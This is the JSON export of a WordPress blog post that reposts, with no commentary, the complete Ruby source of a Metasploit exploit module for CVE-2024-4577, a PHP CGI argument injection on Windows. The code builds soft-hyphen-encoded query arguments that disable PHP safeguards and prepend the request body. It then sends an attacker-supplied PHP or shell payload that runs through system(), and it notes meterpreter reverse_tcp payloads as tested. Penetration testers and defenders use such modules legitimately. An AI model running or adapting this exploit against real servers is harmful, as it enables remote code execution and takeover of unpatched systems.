{"id":57535,"date":"2024-06-18T17:42:14","date_gmt":"2024-06-18T14:42:14","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179140\/php_cgi_arg_injection_rce_cve_2024_4577.rb.txt"},"modified":"2024-06-18T17:42:14","modified_gmt":"2024-06-18T14:42:14","slug":"php-cgi-argument-injection-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/php-cgi-argument-injection-remote-code-execution\/","title":{"rendered":"PHP CGI Argument Injection Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;PHP CGI Argument Injection Remote Code Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a PHP CGI argument injection vulnerability affecting PHP in certain configurations<br \/>on a Windows target. A vulnerable configuration is locale dependant (such as Chinese or Japanese), such that<br \/>the Unicode best-fit conversion scheme will unexpectedly convert a soft hyphen (0xAD) into a dash (0x2D)<br \/>character. Additionally a target web server must be configured to run PHP under CGI mode, or directly expose<br \/>the PHP binary. This issue has been fixed in PHP 8.3.8 (for the 8.3.x branch), 8.2.20 (for the 8.2.x branch),<br \/>and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of life and have note received patches.<\/p>\n<p>XAMPP is vulnerable in a default configuration, and we can target the \/php-cgi\/php-cgi.exe endpoint. To target<br \/>an explicit .php endpoint (e.g. \/index.php), the server must be configured to run PHP scripts in CGI mode.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Orange Tsai&#8217;, # Original finder<br \/>&#8216;watchTowr&#8217;, # Original PoC<br \/>&#8216;sfewer-r7&#8217; # Metasploit exploit<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-4577&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/devco.re\/blog\/2024\/06\/06\/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/labs.watchtowr.com\/no-way-php-strikes-again-cve-2024-4577\/&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-06-06&#8217;,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;php&#8217;, &#8216;win&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_PHP, ARCH_CMD],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/># Tested with the payload: php\/meterpreter\/reverse_tcp<br \/>&#8216;Windows PHP&#8217;, {<br \/>&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP<br \/>}<br \/>],<br \/>[<br \/># Tested with the payload: cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp<br \/>&#8216;Windows Command&#8217;, {<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;BadChars&#8217; =&gt; &#8216;&#8221;&#8216;<br \/>}<br \/>}<br \/>],<br \/>],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;RPORT&#8217; =&gt; 80<br \/>},<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/># By default XAMPP in Windows is in a vulnerable configuration and the URI path \/php-cgi\/php-cgi.exe will<br \/># be able to trigger the vulnerability, so long as the target system has its region set to a suitable locale<br \/># that will perform the necessary Unicode best-fit character conversion.<br \/># If the target is not XAMPP but it is vulnerable, the TARGETURI will need to be set to a suitable .php CGI script.<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The path to a PHP CGI endpoint&#8217;, &#8216;\/php-cgi\/php-cgi.exe&#8217;]),<br \/>])<br \/>end<\/p>\n<p>def send_exploit_request_cgi(php_payload, allow_url_include: true)<br \/>php_content = &#8220;&lt;?php #{php_payload}; die(); ?&gt;&#8221;<\/p>\n<p>vprint_status(&#8220;PHP content: #{php_content}&#8221;)<\/p>\n<p># The exploit https:\/\/github.com\/W01fh4cker\/CVE-2024-4577-RCE added several additional arguments<br \/># which seems potentially useful and are included here too. Note, this link is now dead.<br \/>args = [<br \/>&#8216;-d suhosin.simulation=1&#8217;, # Dis-arm Suhosin if it is present.<br \/>&#8216;-d disable_functions=&#8221;&#8221;&#8216;, # This directive allows you to disable certain functions<br \/>&#8216;-d open_basedir=&#8217;, # open_basedir, if set, limits all file operations to the defined directory and below.<br \/>&#8216;-d auto_prepend_file=php:\/\/input&#8217;, # Automatically add files before PHP document.<br \/>&#8216;-d cgi.force_redirect=0&#8217;, # cgi.force_redirect prevents anyone from calling PHP directly with a URL<br \/>&#8216;-d cgi.redirect_status_env=0&#8217;,<br \/># To debug your payloads you can add this:<br \/># &#8216;-d log_errors=On&#8217;,<br \/># &#8216;-d error_log=php_errors_log&#8217;,<br \/>&#8216;-n&#8217; # No configuration (ini) files will be used<br \/>]\n<p># We add this by default as it is required for exploitation, however the check routine can leverage an error<br \/># message if this setting is not defined, which allows us to detect vulnerable versions.<br \/>args &lt;&lt; &#8216;-d allow_url_include=1&#8217; if allow_url_include # Whether to allow include\/require to open URLs (like https:\/\/ or ftp:\/\/) as files.<\/p>\n<p>query = args.shuffle.join(&#8216; &#8216;)<\/p>\n<p>query = CGI.escape(query).gsub(&#8216;-&#8216;, &#8216;%AD&#8217;)<\/p>\n<p>vprint_status(&#8220;Query: #{query}&#8221;)<\/p>\n<p>send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;encode_params&#8217; =&gt; false,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>query =&gt; nil<br \/>},<br \/>&#8216;data&#8217; =&gt; php_content<br \/>)<br \/>end<\/p>\n<p>def check<br \/>res = send_exploit_request_cgi(&#8221;, allow_url_include: false)<\/p>\n<p>return CheckCode::Unknown(&#8216;Connection failed&#8217;) unless res<\/p>\n<p>if res.code == 200 &amp;&amp; (res.body.include? &#8216;\\&#8217;php:\/\/input\\&#8221;)<br \/>return CheckCode::Vulnerable(res.headers[&#8216;Server&#8217;])<br \/>end<\/p>\n<p>CheckCode::Safe(&#8216;Ensure TARGETURI is set to a valid PHP CGI endpoint.&#8217;)<br \/>end<\/p>\n<p>def exploit<br \/>if target[&#8216;Arch&#8217;] == ARCH_CMD<br \/>php_bootstrap = []\n<p>if payload.encoded.include? &#8216;%TEMP%&#8217;<br \/>var_cmd = &#8220;$#{Rex::Text.rand_text_alpha(8)}&#8221;<\/p>\n<p>php_bootstrap &lt;&lt; &#8220;#{var_cmd} = \\&#8221;#{payload.encoded}\\&#8221;&#8221;<\/p>\n<p>php_bootstrap &lt;&lt; &#8220;#{var_cmd} = str_replace(&#8216;%TEMP%&#8217;, sys_get_temp_dir(), #{var_cmd})&#8221;<br \/>end<\/p>\n<p>php_bootstrap &lt;&lt; &#8220;system(#{var_cmd})&#8221;<\/p>\n<p>php_payload = php_bootstrap.join(&#8216;;&#8217;)<br \/>else<br \/>php_payload = payload.encoded<br \/>end<\/p>\n<p>send_exploit_request_cgi(php_payload)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;PHP CGI Argument Injection Remote Code Execution&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a PHP CGI argument injection vulnerability affecting PHP in certain configurationson a Windows target. A vulnerable configuration is locale dependant (such &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57535","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57535","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57535"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57535\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57535"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57535"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57535"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}